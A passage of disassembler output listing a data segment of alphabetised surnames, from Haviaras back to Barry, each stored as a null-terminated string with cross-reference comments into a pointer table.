aHaviaras	db 'Haviaras',0         ; DATA XREF: ___:0042E0A8o
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: ___:0042E0A4o
aHartnett	db 'Hartnett',0         ; DATA XREF: ___:0042E0A0o
		align 4
aHartmann	db 'Hartmann',0         ; DATA XREF: ___:0042E09Co
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: ___:0042E098o
aHarrigan	db 'Harrigan',0         ; DATA XREF: ___:0042E094o
		align 4
aHarlow		db 'Harlow',0           ; DATA XREF: ___:0042E090o
		align 4
aHargraves	db 'Hargraves',0        ; DATA XREF: ___:0042E08Co
		align 10h
aHarding	db 'Harding',0          ; DATA XREF: ___:0042E088o
aHanssen	db 'Hanssen',0          ; DATA XREF: ___:0042E084o
aHand		db 'Hand',0             ; DATA XREF: ___:0042E080o
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: ___:0042E07Co
		align 4
aHamer		db 'Hamer',0            ; DATA XREF: ___:0042E078o
		align 4
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: ___:0042E074o
		align 4
aHalpert	db 'Halpert',0          ; DATA XREF: ___:0042E070o
aHallowell	db 'Hallowell',0        ; DATA XREF: ___:0042E06Co
		align 10h
aHalkias	db 'Halkias',0          ; DATA XREF: ___:0042E068o
aHaley		db 'Haley',0            ; DATA XREF: ___:0042E064o
		align 10h
aHackshaw	db 'Hackshaw',0         ; DATA XREF: ___:0042E060o
		align 4
aHackman	db 'Hackman',0          ; DATA XREF: ___:0042E05Co
aHaar		db 'Haar',0             ; DATA XREF: ___:0042E058o
		align 4
aHa		db 'Ha',0               ; DATA XREF: ___:0042E054o
		align 10h
aGuo		db 'Guo',0              ; DATA XREF: ___:0042E050o
aGunn		db 'Gunn',0             ; DATA XREF: ___:0042E04Co
		align 4
aGuenthart	db 'Guenthart',0        ; DATA XREF: ___:0042E048o
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: ___:0042E044o
		align 10h
aGruner		db 'Gruner',0           ; DATA XREF: ___:0042E040o
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: ___:0042E03Co
		align 4
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: ___:0042E038o
		align 10h
aGriffiths	db 'Griffiths',0        ; DATA XREF: ___:0042E034o
		align 4
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: ___:0042E030o
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: ___:0042E02Co
		align 4
aGravell	db 'Gravell',0          ; DATA XREF: ___:0042E028o
aGozzi		db 'Gozzi',0            ; DATA XREF: ___:0042E024o
		align 4
aGoody		db 'Goody',0            ; DATA XREF: ___:0042E020o
		align 4
aGoodearl	db 'Goodearl',0         ; DATA XREF: ___:0042E01Co
		align 4
aGood		db 'Good',0             ; DATA XREF: ___:0042E018o
		align 10h
aGoncalves	db 'Goncalves',0        ; DATA XREF: ___:0042E014o
		align 4
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: ___:0042E010o
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: ___:0042E00Co
aGlegg		db 'Glegg',0            ; DATA XREF: ___:0042E008o
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: ___:0042E004o
aGist		db 'Gist',0             ; DATA XREF: ___:0042E000o
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: ___:0042DFFCo
		align 4
aGill		db 'Gill',0             ; DATA XREF: ___:0042DFF8o
		align 4
aGili		db 'Gili',0             ; DATA XREF: ___:0042DFF4o
		align 4
aGilbert	db 'Gilbert',0          ; DATA XREF: ___:0042DFF0o
aGibson		db 'Gibson',0           ; DATA XREF: ___:0042DFECo
		align 4
aGibbens	db 'Gibbens',0          ; DATA XREF: ___:0042DFE8o
aGhorai		db 'Ghorai',0           ; DATA XREF: ___:0042DFE4o
		align 4
aGerrett	db 'Gerrett',0          ; DATA XREF: ___:0042DFE0o
aGeorgi		db 'Georgi',0           ; DATA XREF: ___:0042DFDCo
		align 4
aGemberling	db 'Gemberling',0       ; DATA XREF: ___:0042DFD8o
		align 10h
aGeller		db 'Geller',0           ; DATA XREF: ___:0042DFD4o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: ___:0042DFD0o
aGarman		db 'Garman',0           ; DATA XREF: ___:0042DFCCo
		align 4
aGarfield	db 'Garfield',0         ; DATA XREF: ___:0042DFC8o
		align 4
aGambini	db 'Gambini',0          ; DATA XREF: ___:0042DFC4o
aGalwey		db 'Galwey',0           ; DATA XREF: ___:0042DFC0o
		align 4
aGaleotti	db 'Galeotti',0         ; DATA XREF: ___:0042DFBCo
		align 10h
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: ___:0042DFB8o
		align 4
aGabrielli	db 'Gabrielli',0        ; DATA XREF: ___:0042DFB4o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: ___:0042DFB0o
		align 10h
aFurth		db 'Furth',0            ; DATA XREF: ___:0042DFACo
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: ___:0042DFA8o
		align 10h
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: ___:0042DFA4o
		align 4
aFrye		db 'Frye',0             ; DATA XREF: ___:0042DFA0o
		align 4
aFryberger	db 'Fryberger',0        ; DATA XREF: ___:0042DF9Co
		align 10h
aFrowiss	db 'Frowiss',0          ; DATA XREF: ___:0042DF98o
aFrisken	db 'Frisken',0          ; DATA XREF: ___:0042DF94o
aFriedland	db 'Friedland',0        ; DATA XREF: ___:0042DF90o
		align 4
aFried		db 'Fried',0            ; DATA XREF: ___:0042DF8Co
		align 4
aFreundlich	db 'Freundlich',0       ; DATA XREF: ___:0042DF88o
		align 10h
aFreid		db 'Freid',0            ; DATA XREF: ___:0042DF84o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: ___:0042DF80o
		align 4
aFranz		db 'Franz',0            ; DATA XREF: ___:0042DF7Co
		align 10h
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: ___:0042DF78o
		align 10h
aFrancisco	db 'Francisco',0        ; DATA XREF: ___:0042DF74o
		align 4
aFossi		db 'Fossi',0            ; DATA XREF: ___:0042DF70o
		align 4
aFossey		db 'Fossey',0           ; DATA XREF: ___:0042DF6Co
		align 4
aFortier	db 'Fortier',0          ; DATA XREF: ___:0042DF68o
aFortes		db 'Fortes',0           ; DATA XREF: ___:0042DF64o
		align 4
aForester	db 'Forester',0         ; DATA XREF: ___:0042DF60o
		align 4
aFolks		db 'Folks',0            ; DATA XREF: ___:0042DF5Co
		align 10h
aFlores		db 'Flores',0           ; DATA XREF: ___:0042DF58o
		align 4
aFlier		db 'Flier',0            ; DATA XREF: ___:0042DF54o
		align 10h
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: ___:0042DF50o
aFisk		db 'Fisk',0             ; DATA XREF: ___:0042DF4Co
		align 4
aFiorina	db 'Fiorina',0          ; DATA XREF: ___:0042DF48o
aFinnegan	db 'Finnegan',0         ; DATA XREF: ___:0042DF44o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: ___:0042DF40o
aFink		db 'Fink',0             ; DATA XREF: ___:0042DF3Co
		align 4
aField		db 'Field',0            ; DATA XREF: ___:0042DF38o
		align 4
aFido		db 'Fido',0             ; DATA XREF: ___:0042DF34o
		align 4
aFeuer		db 'Feuer',0            ; DATA XREF: ___:0042DF30o
		align 4
aFerriell	db 'Ferriell',0         ; DATA XREF: ___:0042DF2Co
		align 10h
aFerrante	db 'Ferrante',0         ; DATA XREF: ___:0042DF28o
		align 4
aFernandes	db 'Fernandes',0        ; DATA XREF: ___:0042DF24o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: ___:0042DF20o
aFeldman	db 'Feldman',0          ; DATA XREF: ___:0042DF1Co
aFejzo		db 'Fejzo',0            ; DATA XREF: ___:0042DF18o
		align 10h
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: ___:0042DF14o
		align 4
aFates		db 'Fates',0            ; DATA XREF: ___:0042DF10o
		align 4
aFasso		db 'Fasso',27h,0        ; DATA XREF: ___:0042DF0Co
		align 4
aFarren		db 'Farren',0           ; DATA XREF: ___:0042DF08o
		align 4
aFarone		db 'Farone',0           ; DATA XREF: ___:0042DF04o
		align 4
aFaris		db 'Faris',0            ; DATA XREF: ___:0042DF00o
		align 4
aFalorsi	db 'Falorsi',0          ; DATA XREF: ___:0042DEFCo
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: ___:0042DEF8o
		align 4
aFaioes		db 'Faioes',0           ; DATA XREF: ___:0042DEF4o
		align 4
aFagan		db 'Fagan',0            ; DATA XREF: ___:0042DEF0o
		align 4
aFabbris	db 'Fabbris',0          ; DATA XREF: ___:0042DEECo
aEverett	db 'Everett',0          ; DATA XREF: ___:0042DEE8o
aEuripides	db 'Euripides',0        ; DATA XREF: ___:0042DEE4o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: ___:0042DEE0o
		align 10h
aEstes		db 'Estes',0            ; DATA XREF: ___:0042DEDCo
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: ___:0042DED8o
		align 4
aErez		db 'Erez',0             ; DATA XREF: ___:0042DED4o
		align 4
aErdos		db 'Erdos',0            ; DATA XREF: ___:0042DED0o
		align 4
aErdman		db 'Erdman',0           ; DATA XREF: ___:0042DECCo
		align 4
aErbach		db 'Erbach',0           ; DATA XREF: ___:0042DEC8o
		align 4
aEppling	db 'Eppling',0          ; DATA XREF: ___:0042DEC4o
aEnyeart	db 'Enyeart',0          ; DATA XREF: ___:0042DEC0o
aEncinas	db 'Encinas',0          ; DATA XREF: ___:0042DEBCo
aElvis		db 'Elvis',0            ; DATA XREF: ___:0042DEB8o
		align 4
aElmerick	db 'Elmerick',0         ; DATA XREF: ___:0042DEB4o
		align 10h
aElmendorf	db 'Elmendorf',0        ; DATA XREF: ___:0042DEB0o
		align 4
aEliasson	db 'Eliasson',0         ; DATA XREF: ___:0042DEACo
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: ___:0042DEA8o
aEdward		db 'Edward',0           ; DATA XREF: ___:0042DEA4o
		align 4
aEdner		db 'Edner',0            ; DATA XREF: ___:0042DEA0o
		align 4
aEdley		db 'Edley',0            ; DATA XREF: ___:0042DE9Co
		align 4
aEckel		db 'Eckel',0            ; DATA XREF: ___:0042DE98o
		align 4
aEbeling	db 'Ebeling',0          ; DATA XREF: ___:0042DE94o
aEardley	db 'Eardley',0          ; DATA XREF: ___:0042DE90o
aDwyer		db 'Dwyer',0            ; DATA XREF: ___:0042DE8Co
		align 4
aDussault	db 'Dussault',0         ; DATA XREF: ___:0042DE88o
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: ___:0042DE84o
aDuffin		db 'Duffin',0           ; DATA XREF: ___:0042DE80o
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: ___:0042DE7Co
aDrinker	db 'Drinker',0          ; DATA XREF: ___:0042DE78o
aDowsland	db 'Dowsland',0         ; DATA XREF: ___:0042DE74o
		align 4
aDoug		db 'Doug',0             ; DATA XREF: ___:0042DE70o
		align 4
aDoty		db 'Doty',0             ; DATA XREF: ___:0042DE6Co
		align 4
aDosi		db 'Dosi',0             ; DATA XREF: ___:0042DE68o
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: ___:0042DE64o
		align 4
aDore		db 'Dore',0             ; DATA XREF: ___:0042DE60o
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: ___:0042DE5Co
		align 4
aDonner		db 'Donner',0           ; DATA XREF: ___:0042DE58o
		align 4
aDonahue	db 'Donahue',0          ; DATA XREF: ___:0042DE54o
aDoherty	db 'Doherty',0          ; DATA XREF: ___:0042DE50o
aDockery	db 'Dockery',0          ; DATA XREF: ___:0042DE4Co
aDirksen	db 'Dirksen',0          ; DATA XREF: ___:0042DE48o
aDionysius	db 'Dionysius',0        ; DATA XREF: ___:0042DE44o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: ___:0042DE40o
		align 4
aDifronzo	db 'Difronzo',0         ; DATA XREF: ___:0042DE3Co
		align 10h
aDifabio	db 'Difabio',0          ; DATA XREF: ___:0042DE38o
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: ___:0042DE34o
		align 4
aDicks		db 'Dicks',0            ; DATA XREF: ___:0042DE30o
		align 4
aDFini		db 'D',27h,'fini',0     ; DATA XREF: ___:0042DE2Co
		align 4
aDeutsch	db 'Deutsch',0          ; DATA XREF: ___:0042DE28o
aDesombre	db 'Desombre',0         ; DATA XREF: ___:0042DE24o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: ___:0042DE20o
aDenham		db 'Denham',0           ; DATA XREF: ___:0042DE1Co
		align 4
aDenault	db 'Denault',0          ; DATA XREF: ___:0042DE18o
aDemusz		db 'Demusz',0           ; DATA XREF: ___:0042DE14o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: ___:0042DE10o
		align 4
aDeming		db 'Deming',0           ; DATA XREF: ___:0042DE0Co
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: ___:0042DE08o
		align 4
aDelger		db 'Delger',0           ; DATA XREF: ___:0042DE04o
		align 10h
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: ___:0042DE00o
		align 10h
aDelattre	db 'Delattre',0         ; DATA XREF: ___:0042DDFCo
		align 4
aDefeciani	db 'Defeciani',0        ; DATA XREF: ___:0042DDF8o
		align 4
aDees		db 'Dees',0             ; DATA XREF: ___:0042DDF4o
		align 10h
aDebroff	db 'Debroff',0          ; DATA XREF: ___:0042DDF0o
aDerousse	db 'deRousse',0         ; DATA XREF: ___:0042DDECo
		align 4
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: ___:0042DDE8o
		align 10h
aDelapena	db 'DeLaPena',0         ; DATA XREF: ___:0042DDE4o
		align 4
aDegennaro	db 'DeGennaro',0        ; DATA XREF: ___:0042DDE0o
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: ___:0042DDDCo
aDavid		db 'David',0            ; DATA XREF: ___:0042DDD8o
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: ___:0042DDD4o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: ___:0042DDD0o
		align 4
aDas		db 'Das',0              ; DATA XREF: ___:0042DDCCo
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: ___:0042DDC8o
aDapice		db 'Dapice',0           ; DATA XREF: ___:0042DDC4o
		align 4
aDante		db 'Dante',0            ; DATA XREF: ___:0042DDC0o
		align 4
aDanieli	db 'Danieli',0          ; DATA XREF: ___:0042DDBCo
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: ___:0042DDB8o
aDaly		db 'Daly',0             ; DATA XREF: ___:0042DDB4o
		align 4
aDaldalian	db 'Daldalian',0        ; DATA XREF: ___:0042DDB0o
		align 10h
aDasilva	db 'daSilva',0          ; DATA XREF: ___:0042DDACo
aCyders		db 'Cyders',0           ; DATA XREF: ___:0042DDA8o
		align 10h
aCvek		db 'Cvek',0             ; DATA XREF: ___:0042DDA4o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: ___:0042DDA0o
		align 10h
aCurrier	db 'Currier',0          ; DATA XREF: ___:0042DD9Co
aCui		db 'Cui',0              ; DATA XREF: ___:0042DD98o
aCroxton	db 'Croxton',0          ; DATA XREF: ___:0042DD94o
aCroxen		db 'Croxen',0           ; DATA XREF: ___:0042DD90o
		align 4
aCroshaw	db 'Croshaw',0          ; DATA XREF: ___:0042DD8Co
aCrocker	db 'Crocker',0          ; DATA XREF: ___:0042DD88o
aCrawford	db 'Crawford',0         ; DATA XREF: ___:0042DD84o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: ___:0042DD80o
aCounter	db 'Counter',0          ; DATA XREF: ___:0042DD7Co
aCosmides	db 'Cosmides',0         ; DATA XREF: ___:0042DD78o
		align 4
aCornish	db 'Cornish',0          ; DATA XREF: ___:0042DD74o
aCorey		db 'Corey',0            ; DATA XREF: ___:0042DD70o
		align 4
aConnors	db 'Connors',0          ; DATA XREF: ___:0042DD6Co
aCondodina	db 'Condodina',0        ; DATA XREF: ___:0042DD68o
		align 4
aConcino	db 'Concino',0          ; DATA XREF: ___:0042DD64o
aComstock	db 'Comstock',0         ; DATA XREF: ___:0042DD60o
		align 4
aCompton	db 'Compton',0          ; DATA XREF: ___:0042DD58o
					; ___:0042DD5Co
aCollis		db 'Collis',0           ; DATA XREF: ___:0042DD54o
		align 4
aCollard	db 'Collard',0          ; DATA XREF: ___:0042DD50o
aColella	db 'Colella',0          ; DATA XREF: ___:0042DD4Co
aColdren	db 'Coldren',0          ; DATA XREF: ___:0042DD48o
aCoito		db 'Coito',0            ; DATA XREF: ___:0042DD44o
		align 4
aCoblenz	db 'Coblenz',0          ; DATA XREF: ___:0042DD40o
aClow		db 'Clow',0             ; DATA XREF: ___:0042DD3Co
		align 4
aClifton	db 'Clifton',0          ; DATA XREF: ___:0042DD38o
aClement	db 'Clement',0          ; DATA XREF: ___:0042DD34o
aClark		db 'Clark',0            ; DATA XREF: ___:0042DD30o
		align 4
aClancy		db 'Clancy',0           ; DATA XREF: ___:0042DD2Co
		align 4
aClaffey	db 'Claffey',0          ; DATA XREF: ___:0042DD28o
aCifarelli	db 'Cifarelli',0        ; DATA XREF: ___:0042DD24o
		align 10h
aCicero		db 'Cicero',0           ; DATA XREF: ___:0042DD20o
		align 4
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: ___:0042DD1Co
		align 4
aChurch		db 'Church',0           ; DATA XREF: ___:0042DD18o
		align 4
aChupasko	db 'Chupasko',0         ; DATA XREF: ___:0042DD14o
		align 4
aChu		db 'Chu',0              ; DATA XREF: ___:0042DD10o
aChristopher	db 'Christopher',0      ; DATA XREF: ___:0042DD0Co
aChristie	db 'Christie',0         ; DATA XREF: ___:0042DD08o
		align 4
aChristiano	db 'Christiano',0       ; DATA XREF: ___:0042DD04o
		align 10h
aChristian	db 'Christian',0        ; DATA XREF: ___:0042DD00o
		align 4
aChristenson	db 'Christenson',0      ; DATA XREF: ___:0042DCFCo
aChinman	db 'Chinman',0          ; DATA XREF: ___:0042DCF8o
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: ___:0042DCF4o
aChilds		db 'Childs',0           ; DATA XREF: ___:0042DCF0o
		align 4
aChildress	db 'Childress',0        ; DATA XREF: ___:0042DCECo
		align 10h
aChien		db 'Chien',0            ; DATA XREF: ___:0042DCE8o
		align 4
aChiassino	db 'Chiassino',0        ; DATA XREF: ___:0042DCE4o
		align 4
aChervinsky	db 'Chervinsky',0       ; DATA XREF: ___:0042DCE0o
		align 10h
aCherry		db 'Cherry',0           ; DATA XREF: ___:0042DCDCo
		align 4
aCheang		db 'Cheang',0           ; DATA XREF: ___:0042DCD8o
		align 10h
aCharles	db 'Charles',0          ; DATA XREF: ___:0042DCD4o
aChapman	db 'Chapman',0          ; DATA XREF: ___:0042DCD0o
aCerioli	db 'Cerioli',0          ; DATA XREF: ___:0042DCCCo
aCeniceros	db 'Ceniceros',0        ; DATA XREF: ___:0042DCC8o
		align 4
aCavell		db 'Cavell',0           ; DATA XREF: ___:0042DCC4o
		align 4
aCavanagh	db 'Cavanagh',0         ; DATA XREF: ___:0042DCC0o
		align 4
aCastelda	db 'Castelda',0         ; DATA XREF: ___:0042DCBCo
		align 4
aCaspar		db 'Caspar',0           ; DATA XREF: ___:0042DCB8o
		align 4
aCase		db 'Case',0             ; DATA XREF: ___:0042DCB4o
		align 4
aCascio		db 'Cascio',0           ; DATA XREF: ___:0042DCB0o
		align 4
aCartmill	db 'Cartmill',0         ; DATA XREF: ___:0042DCACo
		align 4
aCarper		db 'Carper',0           ; DATA XREF: ___:0042DCA8o
		align 10h
aCaroti		db 'Caroti',0           ; DATA XREF: ___:0042DCA4o
		align 4
aCarmichael	db 'Carmichael',0       ; DATA XREF: ___:0042DCA0o
		align 4
aCarlyle	db 'Carlyle',0          ; DATA XREF: ___:0042DC9Co
aCarlos		db 'Carlos',0           ; DATA XREF: ___:0042DC98o
		align 4
aCarlin		db 'Carlin',0           ; DATA XREF: ___:0042DC94o
		align 4
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: ___:0042DC90o
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: ___:0042DC8Co
aCapursi	db 'Capursi',0          ; DATA XREF: ___:0042DC88o
aCappuccio	db 'Cappuccio',0        ; DATA XREF: ___:0042DC84o
		align 4
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: ___:0042DC80o
		align 4
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: ___:0042DC7Co
		align 4
aCaperton	db 'Caperton',0         ; DATA XREF: ___:0042DC78o
		align 10h
aCapanni	db 'Capanni',0          ; DATA XREF: ___:0042DC74o
aCanley		db 'Canley',0           ; DATA XREF: ___:0042DC70o
		align 10h
aCammilleri	db 'Cammilleri',0       ; DATA XREF: ___:0042DC6Co
		align 4
aCammelli	db 'Cammelli',0         ; DATA XREF: ___:0042DC68o
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: ___:0042DC64o
		align 10h
aCage		db 'Cage',0             ; DATA XREF: ___:0042DC60o
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: ___:0042DC5Co
		align 10h
aByerly		db 'Byerly',0           ; DATA XREF: ___:0042DC58o
		align 4
aByatt		db 'Byatt',0            ; DATA XREF: ___:0042DC54o
		align 10h
aBusetta	db 'Busetta',0          ; DATA XREF: ___:0042DC50o
aBurridge	db 'Burridge',0         ; DATA XREF: ___:0042DC4Co
		align 4
aBurke		db 'Burke',0            ; DATA XREF: ___:0042DC48o
		align 4
aBurdzy		db 'Burdzy',0           ; DATA XREF: ___:0042DC44o
		align 4
aBurden		db 'Burden',0           ; DATA XREF: ___:0042DC40o
		align 4
aBunton		db 'Bunton',0           ; DATA XREF: ___:0042DC3Co
		align 4
aBullard	db 'Bullard',0          ; DATA XREF: ___:0042DC38o
aBudding	db 'Budding',0          ; DATA XREF: ___:0042DC34o
aBuchan		db 'Buchan',0           ; DATA XREF: ___:0042DC30o
		align 4
aBrzycki	db 'Brzycki',0          ; DATA XREF: ___:0042DC2Co
aBrook		db 'Brook',0            ; DATA XREF: ___:0042DC28o
		align 4
aBroca		db 'Broca',0            ; DATA XREF: ___:0042DC24o
		align 4
aBritz		db 'Britz',0            ; DATA XREF: ___:0042DC20o
		align 4
aBrinton	db 'Brinton',0          ; DATA XREF: ___:0042DC1Co
aBridges	db 'Bridges',0          ; DATA XREF: ___:0042DC18o
aBridgeman	db 'Bridgeman',0        ; DATA XREF: ___:0042DC14o
		align 4
aBrewer		db 'Brewer',0           ; DATA XREF: ___:0042DC0Co
					; ___:0042DC10o
		align 10h
aBrennan	db 'Brennan',0          ; DATA XREF: ___:0042DC08o
aBrenan		db 'Brenan',0           ; DATA XREF: ___:0042DC04o
		align 10h
aBreed		db 'Breed',0            ; DATA XREF: ___:0042DC00o
		align 4
aBrecht		db 'Brecht',0           ; DATA XREF: ___:0042DBFCo
		align 10h
aBradach	db 'Bradach',0          ; DATA XREF: ___:0042DBF8o
aBradac		db 'Bradac',0           ; DATA XREF: ___:0042DBF4o
		align 10h
aBracalente	db 'Bracalente',0       ; DATA XREF: ___:0042DBF0o
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: ___:0042DBECo
		align 4
aBoym		db 'Boym',0             ; DATA XREF: ___:0042DBE8o
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: ___:0042DBE4o
aBoyes		db 'Boyes',0            ; DATA XREF: ___:0042DBE0o
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: ___:0042DBDCo
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: ___:0042DBD8o
		align 10h
aBowers		db 'Bowers',0           ; DATA XREF: ___:0042DBD4o
		align 4
aBourneuf	db 'Bourneuf',0         ; DATA XREF: ___:0042DBD0o
		align 4
aBoudrot	db 'Boudrot',0          ; DATA XREF: ___:0042DBCCo
aBoudin		db 'Boudin',0           ; DATA XREF: ___:0042DBC8o
		align 4
aBotosh		db 'Botosh',0           ; DATA XREF: ___:0042DBC4o
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: ___:0042DBC0o
aBossi		db 'Bossi',0            ; DATA XREF: ___:0042DBBCo
		align 4
aBorden		db 'Borden',0           ; DATA XREF: ___:0042DBB8o
		align 4
aBorack		db 'Borack',0           ; DATA XREF: ___:0042DBB4o
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: ___:0042DBB0o
		align 4
aBoone		db 'Boone',0            ; DATA XREF: ___:0042DBACo
		align 10h
aBookbinder	db 'Bookbinder',0       ; DATA XREF: ___:0042DBA8o
		align 4
aBook		db 'Book',0             ; DATA XREF: ___:0042DBA4o
		align 4
aBontempo	db 'Bontempo',0         ; DATA XREF: ___:0042DBA0o
		align 10h
aBoniface	db 'Boniface',0         ; DATA XREF: ___:0042DB9Co
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: ___:0042DB98o
		align 4
aBoner		db 'Boner',0            ; DATA XREF: ___:0042DB94o
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: ___:0042DB90o
aBollinger	db 'Bollinger',0        ; DATA XREF: ___:0042DB8Co
		align 10h
aBolick		db 'Bolick',0           ; DATA XREF: ___:0042DB88o
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: ___:0042DB84o
		align 10h
aBlyth		db 'Blyth',0            ; DATA XREF: ___:0042DB80o
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: ___:0042DB7Co
aBloemhof	db 'Bloemhof',0         ; DATA XREF: ___:0042DB78o
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: ___:0042DB74o
aBloch		db 'Bloch',0            ; DATA XREF: ___:0042DB70o
		align 10h
aBlizard	db 'Blizard',0          ; DATA XREF: ___:0042DB6Co
aBliss		db 'Bliss',0            ; DATA XREF: ___:0042DB68o
		align 10h
aBlanke		db 'Blanke',0           ; DATA XREF: ___:0042DB64o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: ___:0042DB60o
		align 4
aBlagg		db 'Blagg',0            ; DATA XREF: ___:0042DB5Co
		align 4
aBlackwell	db 'Blackwell',0        ; DATA XREF: ___:0042DB58o
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: ___:0042DB54o
		align 4
aBisho		db 'Bisho',0            ; DATA XREF: ___:0042DB50o
		align 4
aBisema		db 'Bisema',0           ; DATA XREF: ___:0042DB4Co
		align 4
aBir		db 'Bir',0              ; DATA XREF: ___:0042DB48o
aBinion		db 'Binion',0           ; DATA XREF: ___:0042DB44o
		align 10h
aBickel		db 'Bickel',0           ; DATA XREF: ___:0042DB40o
		align 4
aBiagioli	db 'Biagioli',0         ; DATA XREF: ___:0042DB3Co
		align 4
aBeynart	db 'Beynart',0          ; DATA XREF: ___:0042DB38o
aBetti		db 'Betti',0            ; DATA XREF: ___:0042DB34o
		align 4
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: ___:0042DB30o
		align 4
aBernston	db 'Bernston',0         ; DATA XREF: ___:0042DB2Co
		align 10h
aBernassola	db 'Bernassola',0       ; DATA XREF: ___:0042DB28o
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: ___:0042DB24o
		align 4
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: ___:0042DB20o
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: ___:0042DB1Co
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: ___:0042DB18o
		align 10h
aBelloc		db 'Belloc',0           ; DATA XREF: ___:0042DB14o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: ___:0042DB10o
aBellhouse	db 'Bellhouse',0        ; DATA XREF: ___:0042DB0Co
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: ___:0042DB08o
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: ___:0042DB04o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: ___:0042DB00o
		align 10h
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: ___:0042DAFCo
		align 4
aBelanger	db 'Belanger',0         ; DATA XREF: ___:0042DAF8o
		align 4
aBehenna	db 'Behenna',0          ; DATA XREF: ___:0042DAF4o
aBedford	db 'Bedford',0          ; DATA XREF: ___:0042DAF0o
aBeder		db 'Beder',0            ; DATA XREF: ___:0042DAECo
		align 10h
aBeckman	db 'Beckman',0          ; DATA XREF: ___:0042DAE8o
aBean		db 'Bean',0             ; DATA XREF: ___:0042DAE4o
		align 10h
aBeal		db 'Beal',0             ; DATA XREF: ___:0042DAE0o
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: ___:0042DADCo
		align 10h
aBayo		db 'Bayo',0             ; DATA XREF: ___:0042DAD8o
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: ___:0042DAD4o
		align 10h
aBaumiller	db 'Baumiller',0        ; DATA XREF: ___:0042DAD0o
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: ___:0042DACCo
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: ___:0042DAC8o
		align 4
aBasavappa	db 'Basavappa',0        ; DATA XREF: ___:0042DAC4o
		align 10h
aBartoo		db 'Bartoo',0           ; DATA XREF: ___:0042DAC0o
		align 4
aBartolome	db 'Bartolome',0        ; DATA XREF: ___:0042DABCo
		align 4
aBartholomew	db 'Bartholomew',0      ; DATA XREF: ___:0042DAB8o
aBarry		db 'Barry',0            ; DATA XREF: ___:0042DAB4o
		align 4
